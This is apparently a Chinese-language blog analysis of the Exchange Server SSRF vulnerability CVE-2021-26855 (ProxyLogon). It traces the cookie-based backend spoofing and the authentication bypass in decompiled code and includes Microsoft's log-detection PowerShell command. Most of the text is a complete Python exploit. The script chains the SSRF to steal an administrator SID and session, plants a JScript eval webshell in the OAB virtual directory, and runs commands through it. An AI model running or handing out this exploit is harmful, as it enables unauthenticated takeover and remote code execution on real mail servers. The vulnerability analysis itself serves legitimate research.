Exchange- (CVE-2021-26855)SSRF分析
由于之前的Exc漏洞都是建立在已经有了身份验证的情况下的,这个SSRF的出现改变了这一现状
这是微软发布的POWERSHELL检测方法
Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName ` | Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox
而此漏洞的利用方式有如下
1. 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。 2. 在通过LegacyDN,获取SID。 3. 然后通过合法的SID,获取exchange的有效cookie。 4. 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。
这是与漏洞有关的url
/owa/auth/Current/themes/resources/logon.css /owa/auth/Current/themes/resources/... /ecp/default.flt /ecp/main.css /ecp/<single char>.js
漏洞点位于"C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin" 目录下的"Microsoft.Exchange.FrontEndHttpProxy.dll"。
从GetBEResouceCookie方法可以看见 获取的cookie名叫啥和url以什么格式结尾
通过查看看对BEResourceRequestHandler的调用发现SelectHandlerForUnauthenticatedRequest调用了BEResourceRequestHandler
根据此请求发现url必须带有ECP且以上面图片结尾的后缀,构造demo
只有ProxyToDownLevel
在GetTargetBackEndServerUrl
方法中将其设置为true时才调用该方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。
幸运的是,我们可以GetTargetBackEndServerUrl
通过修改Cookie中的服务器版本来防止设置此值。如果版本大于Server.E15MinVersion
,ProxyToDownLevel
则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证。而这里需要的version就是下面通过~分割出来的version
按照极光无限的步骤 附加进程到ECPAPPPOOL
dnSpy工具附加MSExchangeECPAppPool进程后,burpSuite直接发包后,dnSpy将会断下,可以看见最后获取的cookie值
BackEndServer.FromString()函数在处理beresouceCookie时,以"~"符号作为分隔符,进行提取字符串,然后分别赋值给fqdn和verison变量
fqdn和verison变量将在ProxyRequestHandler.BeginProxyRequest类里的GetTargetBackEndServerUrl进行调用。
由于我们能控制BackEndServer.Fqdn参数,所以我们就控制了clientUrlForProxy.Host. 最后重构url发送给后端服务器
这里这个url的值就是
然后把URL的值赋予给
在进入函数CreateServerRequest时,会调用PrepareServerRequest进行uri代理请求的身份认证判断。(这个认证是判断你
这里有四个判断前三个直接跳过进入最后一个else
最后构造完整SSRF exp
只有ProxyToDownLevel在GetTargetBackEndServerUrl方法中将其设置为true时才调用该方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。 幸运的是,我们可以GetTargetBackEndServerUrl通过修改Cookie中的服务器版本来防止设置此值。如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证
有了SSRF我们如何继续 第一步想到的肯定是直接用EXCHANGE的kerbros请求漏洞路径如下,但是这个失败告诉我们此方法肯定不行,那么问题处在哪里呐?
我们跟踪EXP发现如下 每次攻击时候都使用了ecp/proxyLogon.ecp 我们并未使用到,那么这个的作用是什么呐?又和这步有什么关系?
我们定位web.config 找到此url指向的是namespace Microsoft.Exchange.Management.ControlPanel dll跟踪发现此方法会返回一个 this.EcpIdentity 的东西 并且需要传入三个Header
string logonAccountSddlSid = context.Request.Headers["msExchLogonAccount"]; string text = context.Request.Headers["msExchLogonMailbox"]; string targetMailboxSddlSid = context.Request.Headers["msExchTargetMailbox"];
那么这三个是必须的吗?
从上面这一步发现 只要"msExchLogonMailbox"不为空那么我们就能进入下一步
所以进入EcpLogonInformation identity = EcpLogonInformation.Create(logonAccountSddlSid, text, targetMailboxSddlSid, this.ProxySecurityAccessToken);
发现
为什么只需要logonaccountMailbox?
那为什么要POST一段xml数据呐?(我没有理清这里)
这里我们来看传入xml数据后如何对它进行处理的?首先处理xml然后是判断是否正常格式,然后返回token包括groupID userid
最终构造exp
import requests from urllib3.exceptions import InsecureRequestWarning import random import string import sys def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) # if len(sys.argv) < 2: # print("使用方式: python PoC.py <target> <email>") # print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn") # exit() #proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) target = "192.168.1.102"#sys.argv[1] email = "administrator@7dap.club"#sys.argv[2] random_name = id_generator(4) + ".js" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path # webshell-马子内容 shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>' autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % email print("正在获取Exchange Server " + target+"权限") print("=============================") FQDN = "EXCHANGE01" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, verify=False ) if ct.status_code != 200: print(ct.status_code) print("Autodiscover Error!") exit() if "<LegacyDN>" not in str(ct.content): print("Can not get LegacyDN!") exit() legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "X-Requesttype": "Connect", "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", "X-Clientapplication": "Outlook/15.0.4815.1002", "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", "User-Agent": user_agent }, data=mapi_body, verify=False, ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): print("Mapi Error!") exit() sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) sid = sid.replace(sid.split("-")[-1],"500") proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r> """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "msExchLogonMailbox": "S-1-5-123", "User-Agent": user_agent }, data=proxyLogon_request, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: print("Proxylogon Error!") exit() sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; ", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, verify=False ) if ct.status_code != 200: print("POST shell:https://"+target+"/owa/auth/7dap.club.aspx") #print("GetOAB Error!") exit() oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, verify=False ) if ct.status_code != 200: print("False") exit() print("Success!") print("POST shell:https://"+target+"/owa/auth/test11.aspx") shell_url="https://"+target+"/owa/auth/test11.aspx" print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') print("get shell") data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False) if data.status_code != 200: print("False") else: print("shellget"+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))